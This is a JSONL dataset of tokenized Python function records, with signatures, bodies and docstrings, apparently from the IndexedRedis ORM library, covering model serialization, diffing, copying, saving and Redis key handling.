{"signature": "def asDict(self, includeMeta=False, forStorage=False, strKeys=False):", "body": "ret = {}<EOL>for thisField in self.FIELDS:<EOL><INDENT>val = object.__getattribute__(self, thisField)<EOL>if forStorage is True:<EOL><INDENT>val = thisField.toStorage(val)<EOL><DEDENT>if strKeys:<EOL><INDENT>ret[str(thisField)] = val<EOL><DEDENT>else:<EOL><INDENT>ret[thisField] = val<EOL><DEDENT><DEDENT>if includeMeta is True:<EOL><INDENT>ret['<STR_LIT>'] = getattr(self, '<STR_LIT>', None)<EOL><DEDENT>return ret<EOL>", "docstring": "toDict / asDict - Get a dictionary representation of this model.\n\n@param includeMeta - Include metadata in return. For now, this is only pk stored as \"_id\"\n\n@param convertValueTypes <bool> - default True. If False, fields with fieldValue defined will be converted to that type.\n        Use True when saving, etc, as native type is always either str or bytes.\n\n@param strKeys <bool> Default False - If True, just the string value of the field name will be used as the key.\n        Otherwise, the IRField itself will be (although represented and indexed by string)\n\n@return - Dictionary reprensetation of this object and all fields", "id": "f4156:c1:m3"}
{"signature": "def pprint(self, stream=None):", "body": "pprint.pprint(self.asDict(includeMeta=True, forStorage=False, strKeys=True), stream=stream)<EOL>", "docstring": "pprint - Pretty-print a dict representation of this object.\n\n@param stream <file/None> - Either a stream to output, or None to default to sys.stdout", "id": "f4156:c1:m4"}
{"signature": "def hasUnsavedChanges(self, cascadeObjects=False):", "body": "if not self._id or not self._origData:<EOL><INDENT>return True<EOL><DEDENT>for thisField in self.FIELDS:<EOL><INDENT>thisVal = object.__getattribute__(self, thisField)<EOL>if self._origData.get(thisField, '<STR_LIT>') != thisVal:<EOL><INDENT>return True<EOL><DEDENT>if cascadeObjects is True and issubclass(thisField.__class__, IRForeignLinkFieldBase):<EOL><INDENT>if thisVal.objHasUnsavedChanges():<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "hasUnsavedChanges - Check if any unsaved changes are present in this model, or if it has never been saved.\n\n@param cascadeObjects <bool> default False, if True will check if any foreign linked objects themselves have unsaved changes (recursively).\n        Otherwise, will just check if the pk has changed.\n\n@return <bool> - True if any fields have changed since last fetch, or if never saved. Otherwise, False", "id": "f4156:c1:m5"}
{"signature": "def getUpdatedFields(self, cascadeObjects=False):", "body": "updatedFields = {}<EOL>for thisField in self.FIELDS:<EOL><INDENT>thisVal = object.__getattribute__(self, thisField)<EOL>if self._origData.get(thisField, '<STR_LIT>') != thisVal:<EOL><INDENT>updatedFields[thisField] = (self._origData[thisField], thisVal)<EOL><DEDENT>if cascadeObjects is True and issubclass(thisField.__class__, IRForeignLinkFieldBase) and thisVal.objHasUnsavedChanges():<EOL><INDENT>updatedFields[thisField] = (self._origData[thisField], thisVal)<EOL><DEDENT><DEDENT>return updatedFields<EOL>", "docstring": "getUpdatedFields - See changed fields.\n\n@param cascadeObjects <bool> default False, if True will check if any foreign linked objects themselves have unsaved changes (recursively).\n        Otherwise, will just check if the pk has changed.\n\n@return - a dictionary of fieldName : tuple(old, new).\n\nfieldName may be a string or may implement IRField (which implements string, and can be used just like a string)", "id": "f4156:c1:m6"}
{"signature": "def diff(firstObj, otherObj, includeMeta=False):", "body": "if not isIndexedRedisModel(firstObj): <EOL><INDENT>raise ValueError('<STR_LIT>' %( type(firstObj).__name__ , ) )<EOL><DEDENT>if not isIndexedRedisModel(otherObj): <EOL><INDENT>raise ValueError('<STR_LIT>' %( type(otherObj).__name__ , ) )<EOL><DEDENT>firstObj.validateModel()<EOL>otherObj.validateModel()<EOL>if getattr(firstObj, '<STR_LIT>') != getattr(otherObj, '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>' %( firstObj.__class__, otherObj.__class__) )<EOL><DEDENT>diffFields = {}<EOL>for thisField in firstObj.FIELDS:<EOL><INDENT>thisFieldStr = str(thisField)<EOL>firstVal = object.__getattribute__( firstObj, thisFieldStr )<EOL>otherVal = object.__getattribute__( otherObj, thisFieldStr )<EOL>if firstVal != otherVal:<EOL><INDENT>diffFields[ thisFieldStr ] = ( (firstVal, otherVal) )<EOL><DEDENT><DEDENT>if includeMeta:<EOL><INDENT>firstPk = firstObj.getPk()<EOL>otherPk = otherObj.getPk()<EOL>if firstPk != otherPk:<EOL><INDENT>diffFields['<STR_LIT>'] = ( firstPk, otherPk )<EOL><DEDENT><DEDENT>return diffFields<EOL>", "docstring": "diff - Compare the field values on two IndexedRedisModels.\n\n@param firstObj <IndexedRedisModel instance> - First object (or self)\n\n@param otherObj <IndexedRedisModel instance> - Second object\n\n@param includeMeta <bool> - If meta information (like pk) should be in the diff results.\n\n\n@return <dict> - Dict of  'field' : ( value_firstObjForField, value_otherObjForField ).\n\n        Keys are names of fields with different values.\n        Value is a tuple of ( value_firstObjForField, value_otherObjForField )\n\nCan be called statically, like: IndexedRedisModel.diff ( obj1, obj2 )\n\n  or in reference to an obj   : obj1.diff(obj2)", "id": "f4156:c1:m7"}
{"signature": "@classproperty<EOL><INDENT>def objects(cls):<DEDENT>", "body": "return IndexedRedisQuery(cls)<EOL>", "docstring": "objects - Start filtering", "id": "f4156:c1:m8"}
{"signature": "@classproperty<EOL><INDENT>def saver(cls):<DEDENT>", "body": "return IndexedRedisSave(cls)<EOL>", "docstring": "saver - Get an IndexedRedisSave associated with this model", "id": "f4156:c1:m9"}
{"signature": "@classproperty<EOL><INDENT>def deleter(cls):<DEDENT>", "body": "return IndexedRedisDelete(cls)<EOL>", "docstring": "deleter - Get access to IndexedRedisDelete for this model.\n@see IndexedRedisDelete.\nUsually you'll probably just do Model.objects.filter(...).delete()", "id": "f4156:c1:m10"}
{"signature": "def save(self, cascadeSave=True):", "body": "saver = IndexedRedisSave(self.__class__)<EOL>return saver.save(self, cascadeSave=cascadeSave)<EOL>", "docstring": "save - Save this object.\n\nWill perform an \"insert\" if this object had not been saved before,\n  otherwise will update JUST the fields changed on THIS INSTANCE of the model.\n\n  i.e. If you have two processes fetch the same object and change different fields, they will not overwrite\n  eachother, but only save the ones each process changed.\n\nIf you want to save multiple objects of type MyModel in a single transaction,\nand you have those objects in a list, myObjs, you can do the following:\n\n        MyModel.saver.save(myObjs)\n\n@param cascadeSave <bool> Default True - If True, any Foreign models linked as attributes that have been altered\n   or created will be saved with this object. If False, only this object (and the reference to an already-saved foreign model) will be saved.\n\n@see #IndexedRedisSave.save\n\n@return <list> - Single element list, id of saved object (if successful)", "id": "f4156:c1:m11"}
{"signature": "def delete(self):", "body": "deleter = IndexedRedisDelete(self.__class__)<EOL>return deleter.deleteOne(self)<EOL>", "docstring": "delete - Delete this object", "id": "f4156:c1:m12"}
{"signature": "def getPk(self):", "body": "return self._id<EOL>", "docstring": "getPk - Gets the internal primary key associated with this object", "id": "f4156:c1:m13"}
{"signature": "@classmethod<EOL><INDENT>def reset(cls, newObjs):<DEDENT>", "body": "conn = cls.objects._get_new_connection()<EOL>transaction = conn.pipeline()<EOL>transaction.eval(", "docstring": "reset - Remove all stored data associated with this model (i.e. all objects of this type),\n        and then save all the provided objects in #newObjs , all in one atomic transaction.\n\nUse this method to move from one complete set of objects to another, where any querying applications\nwill only see the complete before or complete after.\n\n@param newObjs list<IndexedRedisModel objs> - A list of objects that will replace the current dataset\n\nTo just replace a specific subset of objects in a single transaction, you can do MyModel.saver.save(objs)\n  and just the objs in \"objs\" will be inserted/updated in one atomic step.\n\nThis method, on the other hand, will delete all previous objects and add the newly provided objects in a single atomic step,\n  and also reset the primary key ID generator\n\n@return list<int> - The new primary keys associated with each object (same order as provided #newObjs list)", "id": "f4156:c1:m14"}
{"signature": "def hasSameValues(self, other, cascadeObject=True):", "body": "if self.FIELDS != other.FIELDS:<EOL><INDENT>return False<EOL><DEDENT>oga = object.__getattribute__<EOL>for field in self.FIELDS:<EOL><INDENT>thisVal = oga(self, field)<EOL>otherVal = oga(other, field)<EOL>if thisVal != otherVal:<EOL><INDENT>return False<EOL><DEDENT>if cascadeObject is True and issubclass(field.__class__, IRForeignLinkFieldBase):<EOL><INDENT>if thisVal and thisVal.isFetched():<EOL><INDENT>if otherVal and otherVal.isFetched():<EOL><INDENT>theseForeign = thisVal.getObjs()<EOL>othersForeign = otherVal.getObjs()<EOL>for i in range(len(theseForeign)):<EOL><INDENT>if not theseForeign[i].hasSameValues(othersForeign[i]):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>theseForeign = thisVal.getObjs()<EOL>for i in range(len(theseForeign)):<EOL><INDENT>if theseForeign[i].hasUnsavedChanges(cascadeObjects=True):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if otherVal and otherVal.isFetched():<EOL><INDENT>othersForeign = otherVal.getObjs()<EOL>for i in range(len(othersForeign)):<EOL><INDENT>if othersForeign[i].hasUnsavedChanges(cascadeObjects=True):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "hasSameValues - Check if this and another model have the same fields and values.\n\nThis does NOT include id, so the models can have the same values but be different objects in the database.\n\n@param other <IndexedRedisModel> - Another model\n\n@param cascadeObject <bool> default True - If True, foreign link values with changes will be considered a difference.\n        Otherwise, only the immediate values are checked.\n\n@return <bool> - True if all fields have the same value, otherwise False", "id": "f4156:c1:m15"}
{"signature": "def __eq__(self, other):", "body": "<EOL>if type(self) != type(other):<EOL><INDENT>return False<EOL><DEDENT>if not self.hasSameValues(other):<EOL><INDENT>return False<EOL><DEDENT>if getattr(self, '<STR_LIT>', None) != getattr(other, '<STR_LIT>', None):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "__eq__ - Check if two IndexedRedisModels are equal.\n\nThey are equal if they have the same type and same field values (including id).\n\nTo check if two models have the same values (but can have different ids), use #hasSameValues method.", "id": "f4156:c1:m16"}
{"signature": "def __ne__(self, other):", "body": "return not self.__eq__(other)<EOL>", "docstring": "__ne__ - Check if two IndexedRedisModels are NOT equal.\n\n@see IndexedRedisModel.__eq__", "id": "f4156:c1:m17"}
{"signature": "def __str__(self):", "body": "myClassName = self.__class__.__name__<EOL>myDict = self.asDict(True, forStorage=False, strKeys=True)<EOL>_id = myDict.pop('<STR_LIT>', '<STR_LIT:None>')<EOL>myPointerLoc = \"<STR_LIT>\" %(id(self),)<EOL>if not _id or _id == '<STR_LIT:None>':<EOL><INDENT>return '<STR_LIT>' %(myClassName, myPointerLoc)<EOL><DEDENT>elif self.hasUnsavedChanges():<EOL><INDENT>return '<STR_LIT>' %(myClassName, to_unicode(_id), myPointerLoc)<EOL><DEDENT>return '<STR_LIT>' %(myClassName, to_unicode(_id), myPointerLoc)<EOL>", "docstring": "__str__ - Returns a string representation of this object's state.\n    See implementation.\n\n@return <str>- \n    Some samples:\n    (Pdb) str(z)\n    '<Song obj _id=24 at 0x7f3c6a3a4490>'\n    (Pdb) z.artist = 'New Artist'\n    (Pdb) str(z)\n    '<Song obj _id=24 (Unsaved Changes) at 0x7f3c6a3a4490>'", "id": "f4156:c1:m18"}
{"signature": "def __repr__(self):", "body": "myDict = self.asDict(True, forStorage=False, strKeys=True)<EOL>myClassName = self.__class__.__name__<EOL>ret = [myClassName, '<STR_LIT:(>']<EOL>_id = myDict.pop('<STR_LIT>', '<STR_LIT>')<EOL>if _id:<EOL><INDENT>ret += ['<STR_LIT>', to_unicode(_id), '<STR_LIT>']<EOL><DEDENT>key = None<EOL>for key, value in myDict.items():<EOL><INDENT>ret += [key, '<STR_LIT:=>', repr(value), '<STR_LIT:U+002CU+0020>']<EOL><DEDENT>if key is not None or not _id:<EOL><INDENT>ret.pop()<EOL><DEDENT>ret.append('<STR_LIT:)>')<EOL>return '<STR_LIT>'.join(ret)<EOL>", "docstring": "__repr__ - Returns a string of the constructor/params to recreate this object.\n    Example: objCopy = eval(repr(obj))\n\n    @return - String of python init call to recreate this object", "id": "f4156:c1:m19"}
{"signature": "def copy(self, copyPrimaryKey=False, copyValues=False):", "body": "cpy = self.__class__(**self.asDict(copyPrimaryKey, forStorage=False))<EOL>if copyValues is True:<EOL><INDENT>for fieldName in cpy.FIELDS:<EOL><INDENT>setattr(cpy, fieldName, copy.deepcopy(getattr(cpy, fieldName)))<EOL><DEDENT><DEDENT>return cpy<EOL>", "docstring": "copy - Copies this object.\n\n@param copyPrimaryKey <bool> default False - If True, any changes to the copy will save over-top the existing entry in Redis.\n    If False, only the data is copied, and nothing is saved.\n\n@param copyValues <bool> default False - If True, every field value on this object will be explicitly copied. If False,\n  an object will be created with the same values, and depending on the type may share the same reference.\n\n  This is the difference between a copy and a deepcopy.\n\n@return <IndexedRedisModel> - Copy of this object, per above\n\nIf you need a copy that IS linked, @see IndexedRedisModel.copy", "id": "f4156:c1:m20"}
{"signature": "def __copy__(self):", "body": "return self.copy(copyPrimaryKey=False, copyValues=False)<EOL>", "docstring": "__copy__ - Used by the \"copy\" module to make a copy,\n   which will NOT be linked to the original entry in the database, but will contain the same data\n\n@return <IndexedRedisModel> - Copy of this object, per above", "id": "f4156:c1:m21"}
{"signature": "def __deepcopy__(self, *args, **kwargs):", "body": "<EOL>cpy = self.copy(copyPrimaryKey=False, copyValues=True)<EOL>cpy.FIELDS = cpy.FIELDS[:]<EOL>cpy.INDEXED_FIELDS = cpy.INDEXED_FIELDS[:]<EOL>return cpy<EOL>", "docstring": "__deepcopy__ - Used by the \"copy\" module to make a deepcopy.\n\n   Will perform a deepcopy of all attributes, which will NOT be linked to the original entry in the database.\n\n\n   If you need a copy that IS linked, @see IndexedRedisModel.copy\n\n@return <IndexedRedisModel> - Deep copy of this object, per above", "id": "f4156:c1:m22"}
{"signature": "def saveToExternal(self, redisCon):", "body": "if type(redisCon) == dict:<EOL><INDENT>conn = redis.Redis(**redisCon)<EOL><DEDENT>elif hasattr(conn, '<STR_LIT>') and issubclass(conn.__class__, redis.Redis):<EOL><INDENT>conn = redisCon<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>saver = self.saver<EOL>forceID = saver._getNextID(conn) <EOL>myCopy = self.copy(False)<EOL>return saver.save(myCopy, usePipeline=True, forceID=forceID, conn=conn)<EOL>", "docstring": "saveToExternal - Saves this object to a different Redis than that specified by REDIS_CONNECTION_PARAMS on this model.\n\n@param redisCon <dict/redis.Redis> - Either a dict of connection params, a la REDIS_CONNECTION_PARAMS, or an existing Redis connection.\n        If you are doing a lot of bulk copies, it is recommended that you create a Redis connection and pass it in rather than establish a new\n        connection with each call.\n\n@note - You will generate a new primary key relative to the external Redis environment. If you need to reference a \"shared\" primary key, it is better\n                to use an indexed field than the internal pk.", "id": "f4156:c1:m23"}
{"signature": "def reload(self, cascadeObjects=True):", "body": "_id = self._id<EOL>if not _id:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>currentData = self.asDict(False, forStorage=False)<EOL>newDataObj = self.objects.get(_id)<EOL>if not newDataObj:<EOL><INDENT>raise KeyError('<STR_LIT>' %(_id,))<EOL><DEDENT>newData = newDataObj.asDict(False, forStorage=False)<EOL>if currentData == newData and not self.foreignFields:<EOL><INDENT>return []<EOL><DEDENT>updatedFields = {}<EOL>for thisField, newValue in newData.items():<EOL><INDENT>defaultValue = thisField.getDefaultValue()<EOL>currentValue = currentData.get(thisField, defaultValue)<EOL>fieldIsUpdated = False<EOL>if currentValue != newValue:<EOL><INDENT>fieldIsUpdated = True<EOL><DEDENT>elif cascadeObjects is True and issubclass(thisField.__class__, IRForeignLinkFieldBase):<EOL><INDENT>if currentValue.isFetched():<EOL><INDENT>oldObjs = currentValue.getObjs()<EOL>newObjs = newValue.getObjs()<EOL>if oldObjs != newObjs: <EOL><INDENT>fieldIsUpdated = True<EOL><DEDENT>else:<EOL><INDENT>for i in range(len(oldObjs)):<EOL><INDENT>if not oldObjs[i].hasSameValues(newObjs[i], cascadeObjects=True):<EOL><INDENT>fieldIsUpdated = True<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if fieldIsUpdated is True:<EOL><INDENT>updatedFields[thisField] = ( currentValue, newValue) <EOL>setattr(self, thisField, newValue)<EOL>self._origData[thisField] = newDataObj._origData[thisField]<EOL><DEDENT><DEDENT>return updatedFields<EOL>", "docstring": "reload - Reload this object from the database, overriding any local changes and merging in any updates.\n\n\n    @param cascadeObjects <bool> Default True. If True, foreign-linked objects will be reloaded if their values have changed\n      since last save/fetch. If False, only if the pk changed will the foreign linked objects be reloaded.\n\n    @raises KeyError - if this object has not been saved (no primary key)\n\n    @return - Dict with the keys that were updated. Key is field name that was updated,\n       and value is tuple of (old value, new value). \n\n    NOTE: Currently, this will cause a fetch of all Foreign Link objects, one level", "id": "f4156:c1:m24"}
{"signature": "def cascadeFetch(self):", "body": "IndexedRedisQuery._doCascadeFetch(self)<EOL>", "docstring": "cascadeFetch - Immediately fetch all foreign links on this field, and all their links, etc.\n\n  Normally, this would be done on access of the foreign members, or at .all() time by passing cascadeFetch=True into\n   the fetch function\n\n   e.x.    MyModel.objects.filter(...).all(cascadeFetch=True)", "id": "f4156:c1:m25"}
{"signature": "def __getstate__(self):", "body": "myData = self.asDict(True, forStorage=False)<EOL>myData['<STR_LIT>'] = self._origData<EOL>return myData<EOL>", "docstring": "pickle uses this", "id": "f4156:c1:m26"}
{"signature": "def __setstate__(self, stateDict):", "body": "self.__class__.validateModel()<EOL>for key, value in stateDict.items():<EOL><INDENT>setattr(self, key, value)<EOL><DEDENT>self._origData = stateDict['<STR_LIT>']<EOL>", "docstring": "pickle uses this", "id": "f4156:c1:m27"}
{"signature": "@classmethod<EOL><INDENT>def copyModel(mdl):<DEDENT>", "body": "copyNum = _modelCopyMap[mdl]<EOL>_modelCopyMap[mdl] += <NUM_LIT:1><EOL>mdlCopy = type(mdl.__name__ + '<STR_LIT>' + str(copyNum), mdl.__bases__, copy.deepcopy(dict(mdl.__dict__)))<EOL>mdlCopy.FIELDS = [field.copy() for field in mdl.FIELDS]<EOL>mdlCopy.INDEXED_FIELDS = [str(idxField) for idxField in mdl.INDEXED_FIELDS] <EOL>mdlCopy.validateModel()<EOL>return mdlCopy<EOL>", "docstring": "copyModel - Copy this model, and return that copy.\n\n  The copied model will have all the same data, but will have a fresh instance of the FIELDS array and all members,\n    and the INDEXED_FIELDS array.\n\n  This is useful for converting, like changing field types or whatever, where you can load from one model and save into the other.\n\n@return <IndexedRedisModel> - A copy class of this model class with a unique name.", "id": "f4156:c1:m28"}
{"signature": "@classmethod<EOL><INDENT>def validateModel(model):<DEDENT>", "body": "if model == IndexedRedisModel:<EOL><INDENT>import re<EOL>if re.match('<STR_LIT>', sys.argv[<NUM_LIT:0>]):<EOL><INDENT>return<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>global validatedModels<EOL>keyName = model.KEY_NAME<EOL>if not keyName:<EOL><INDENT>raise InvalidModelException('<STR_LIT>' %(str(model.__name__), ) )<EOL><DEDENT>if model in validatedModels:<EOL><INDENT>return True<EOL><DEDENT>failedValidationStr = '<STR_LIT>' %(str(model.__name__), ) <EOL>fieldSet = set(model.FIELDS)<EOL>indexedFieldSet = set(model.INDEXED_FIELDS)<EOL>if not fieldSet:<EOL><INDENT>raise InvalidModelException('<STR_LIT>' %(failedValidationStr,))<EOL><DEDENT>if hasattr(model, '<STR_LIT>'):<EOL><INDENT>raise InvalidModelException('<STR_LIT>')<EOL><DEDENT>if hasattr(model, '<STR_LIT>'):<EOL><INDENT>raise InvalidModelException('<STR_LIT>')<EOL><DEDENT>newFields = []<EOL>updatedFields = []<EOL>mustUpdateFields = False<EOL>foreignFields = []<EOL>for thisField in fieldSet:<EOL><INDENT>if thisField == '<STR_LIT>':<EOL><INDENT>raise InvalidModelException('<STR_LIT>' %(failedValidationStr,))<EOL><DEDENT>try:<EOL><INDENT>codecs.ascii_encode(thisField)<EOL><DEDENT>except UnicodeDecodeError as e:<EOL><INDENT>raise InvalidModelException('<STR_LIT>' %(failedValidationStr, to_unicode(thisField), str(e)))<EOL><DEDENT>if issubclass(thisField.__class__, IRForeignLinkFieldBase):<EOL><INDENT>foreignFields.append(thisField)<EOL><DEDENT>if issubclass(thisField.__class__, IRField):<EOL><INDENT>newFields.append(thisField)<EOL><DEDENT>else:<EOL><INDENT>mustUpdateFields = True<EOL>newField = IRClassicField(thisField)<EOL>newFields.append(newField)<EOL>updatedFields.append(thisField)<EOL>thisField = newField<EOL><DEDENT>if str(thisField) == '<STR_LIT>':<EOL><INDENT>raise InvalidModelException('<STR_LIT>' %(failedValidationStr, str(type(thisField)), repr(thisField)   ) )<EOL><DEDENT>if thisField in indexedFieldSet and thisField.CAN_INDEX is False:<EOL><INDENT>raise InvalidModelException('<STR_LIT>' %(failedValidationStr, str(thisField.__class__.__name__), repr(thisField)))<EOL><DEDENT>if hasattr(IndexedRedisModel, thisField) is True:<EOL><INDENT>raise InvalidModelException('<STR_LIT>' %(failedValidationStr, str(thisField)))<EOL><DEDENT><DEDENT>if mustUpdateFields is True:<EOL><INDENT>model.FIELDS = newFields<EOL>deprecatedMessage('<STR_LIT>' %(model.__name__, repr(updatedFields)), '<STR_LIT>' + model.__name__)<EOL><DEDENT>model.FIELDS = KeyList(model.FIELDS)<EOL>if bool(indexedFieldSet - fieldSet):<EOL><INDENT>raise InvalidModelException('<STR_LIT>' %(failedValidationStr, str(list(indexedFieldSet - fieldSet)), ) )<EOL><DEDENT>model.foreignFields = foreignFields<EOL>validatedModels.add(model)<EOL>return True<EOL>", "docstring": "validateModel - Class method that validates a given model is implemented correctly. Will only be validated once, on first model instantiation.\n\n@param model - Implicit of own class\n\n@return - True\n\n@raises - InvalidModelException if there is a problem with the model, and the message contains relevant information.", "id": "f4156:c1:m29"}
{"signature": "@deprecated('<STR_LIT>')<EOL><INDENT>@classmethod<EOL>def connect(cls, redisConnectionParams):<DEDENT>", "body": "return cls.connectAlt(redisConnectionParams)<EOL>", "docstring": "connect - DEPRECATED NAME - @see connectAlt\n  Create a class of this model which will use an alternate connection than the one specified by REDIS_CONNECTION_PARAMS on this model.\n\n@param redisConnectionParams <dict> - Dictionary of arguments to redis.Redis, same as REDIS_CONNECTION_PARAMS.\n\n@return - A class that can be used in all the same ways as the existing IndexedRedisModel, but that connects to a different instance.", "id": "f4156:c1:m30"}
{"signature": "@classmethod<EOL><INDENT>def connectAlt(cls, redisConnectionParams):<DEDENT>", "body": "if not isinstance(redisConnectionParams, dict):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>hashVal = hashDictOneLevel(redisConnectionParams)<EOL>modelDictCopy = copy.deepcopy(dict(cls.__dict__))<EOL>modelDictCopy['<STR_LIT>'] = redisConnectionParams<EOL>ConnectedIndexedRedisModel = type('<STR_LIT>' + cls.__name__ + str(hashVal), cls.__bases__, modelDictCopy)<EOL>return ConnectedIndexedRedisModel<EOL>", "docstring": "connectAlt - Create a class of this model which will use an alternate connection than the one specified by REDIS_CONNECTION_PARAMS on this model.\n\n@param redisConnectionParams <dict> - Dictionary of arguments to redis.Redis, same as REDIS_CONNECTION_PARAMS.\n\n@return - A class that can be used in all the same ways as the existing IndexedRedisModel, but that connects to a different instance.\n\n  The fields and key will be the same here, but the connection will be different. use #copyModel if you want an independent class for the model", "id": "f4156:c1:m31"}
{"signature": "def __init__(self, mdl):", "body": "mdl.validateModel()<EOL>self.mdl = mdl<EOL>self.keyName = mdl.KEY_NAME<EOL>fields = mdl.FIELDS<EOL>self.fields = mdl.FIELDS<EOL>self.indexedFields = [fields[fieldName] for fieldName in mdl.INDEXED_FIELDS]<EOL>self._connection = None<EOL>", "docstring": "Internal constructor\n\n@param mdl - IndexedRedisModel implementer", "id": "f4156:c2:m0"}
{"signature": "def _get_new_connection(self):", "body": "pool = getRedisPool(self.mdl.REDIS_CONNECTION_PARAMS)<EOL>return redis.Redis(connection_pool=pool)<EOL>", "docstring": "_get_new_connection - Get a new connection\ninternal", "id": "f4156:c2:m2"}
{"signature": "def _get_connection(self):", "body": "if self._connection is None:<EOL><INDENT>self._connection = self._get_new_connection() <EOL><DEDENT>return self._connection<EOL>", "docstring": "_get_connection - Maybe get a new connection, or reuse if passed in.\n        Will share a connection with a model\ninternal", "id": "f4156:c2:m3"}
{"signature": "def _get_ids_key(self):", "body": "return '<STR_LIT>'.join([INDEXED_REDIS_PREFIX, self.keyName + '<STR_LIT>'])<EOL>", "docstring": "_get_ids_key - Gets the key holding primary keys\ninternal", "id": "f4156:c2:m4"}
{"signature": "def _add_id_to_keys(self, pk, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>conn.sadd(self._get_ids_key(), pk)<EOL>", "docstring": "_add_id_to_keys - Adds primary key to table\ninternal", "id": "f4156:c2:m5"}
{"signature": "def _rem_id_from_keys(self, pk, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>conn.srem(self._get_ids_key(), pk)<EOL>", "docstring": "_rem_id_from_keys - Remove primary key from table\ninternal", "id": "f4156:c2:m6"}
{"signature": "def _add_id_to_index(self, indexedField, pk, val, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>conn.sadd(self._get_key_for_index(indexedField, val), pk)<EOL>", "docstring": "_add_id_to_index - Adds an id to an index\ninternal", "id": "f4156:c2:m7"}
{"signature": "def _rem_id_from_index(self, indexedField, pk, val, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>conn.srem(self._get_key_for_index(indexedField, val), pk)<EOL>", "docstring": "_rem_id_from_index - Removes an id from an index\ninternal", "id": "f4156:c2:m8"}
{"signature": "def _get_key_for_index(self, indexedField, val):", "body": "<EOL>if hasattr(indexedField, '<STR_LIT>'):<EOL><INDENT>val = indexedField.toIndex(val)<EOL><DEDENT>else:<EOL><INDENT>val = self.fields[indexedField].toIndex(val)<EOL><DEDENT>return '<STR_LIT>'.join( [INDEXED_REDIS_PREFIX, self.keyName, '<STR_LIT>', indexedField, '<STR_LIT::>', val] )<EOL>", "docstring": "_get_key_for_index - Returns the key name that would hold the indexes on a value\nInternal - does not validate that indexedFields is actually indexed. Trusts you. Don't let it down.\n\n@param indexedField - string of field name\n@param val - Value of field\n\n@return - Key name string, potentially hashed.", "id": "f4156:c2:m9"}
{"signature": "def _compat_get_str_key_for_index(self, indexedField, val):", "body": "return '<STR_LIT>'.join([INDEXED_REDIS_PREFIX, self.keyName, '<STR_LIT>', indexedField, '<STR_LIT::>', getattr(indexedField, '<STR_LIT>', to_unicode)(val)])<EOL>", "docstring": "_compat_get_str_key_for_index - Return the key name as a string, even if it is a hashed index field.\n  This is used in converting unhashed fields to a hashed index (called by _compat_rem_str_id_from_index which is called by compat_convertHashedIndexes)\n\n  @param inde\n@param indexedField - string of field name\n@param val - Value of field\n\n@return - Key name string, always a string regardless of hash", "id": "f4156:c2:m10"}
{"signature": "@deprecated('<STR_LIT>')<EOL><INDENT>def _compat_rem_str_id_from_index(self, indexedField, pk, val, conn=None):<DEDENT>", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>conn.srem(self._compat_get_str_key_for_index(indexedField, val), pk)<EOL>", "docstring": "_compat_rem_str_id_from_index - Used in compat_convertHashedIndexes to remove the old string repr of a field,\n        in order to later add the hashed value,", "id": "f4156:c2:m11"}
{"signature": "def _get_key_for_id(self, pk):", "body": "return '<STR_LIT>'.join([INDEXED_REDIS_PREFIX, self.keyName, '<STR_LIT>', to_unicode(pk)])<EOL>", "docstring": "_get_key_for_id - Returns the key name that holds all the data for an object\nInternal\n\n@param pk - primary key\n\n@return - Key name string", "id": "f4156:c2:m12"}
{"signature": "def _get_next_id_key(self):", "body": "return '<STR_LIT>'.join([INDEXED_REDIS_PREFIX, self.keyName, '<STR_LIT>'])<EOL>", "docstring": "_get_next_id_key - Returns the key name that holds the generator for primary key values\nInternal\n\n@return - Key name string", "id": "f4156:c2:m13"}
{"signature": "def _peekNextID(self, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>return to_unicode(conn.get(self._get_next_id_key()) or <NUM_LIT:0>)<EOL>", "docstring": "_peekNextID - Look at, but don't increment the primary key for this model.\n        Internal.\n\n@return int - next pk", "id": "f4156:c2:m14"}
{"signature": "def _getNextID(self, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>return int(conn.incr(self._get_next_id_key()))<EOL>", "docstring": "_getNextID - Get (and increment) the next primary key for this model.\n        If you don't want to increment, @see _peekNextID .\n        Internal.\n        This is done automatically on save. No need to call it.\n\n@return int - next pk", "id": "f4156:c2:m15"}
{"signature": "def _getTempKey(self):", "body": "return self._get_ids_key() + '<STR_LIT>' + uuid.uuid4().__str__()<EOL>", "docstring": "_getTempKey - Generates a temporary key for intermediate storage", "id": "f4156:c2:m16"}
{"signature": "def filter(self, **kwargs):", "body": "selfCopy = self.__copy__()<EOL>return IndexedRedisQuery._filter(selfCopy, **kwargs)<EOL>", "docstring": "filter - Add filters based on INDEXED_FIELDS having or not having a value.\n  Note, no objects are actually fetched until .all() is called\n\n        Use the field name [ model.objects.filter(some_field='value')] to filter on items containing that value.\n        Use the field name suffxed with '__ne' for a negation filter [ model.objects.filter(some_field__ne='value') ]\n\nExample:\n        query = Model.objects.filter(field1='value', field2='othervalue')\n\n        objs1 = query.filter(something__ne='value').all()\n        objs2 = query.filter(something__ne=7).all()\n\n\n@returns - A copy of this object, with the additional filters. If you want to work inline on this object instead, use the filterInline method.", "id": "f4156:c3:m3"}
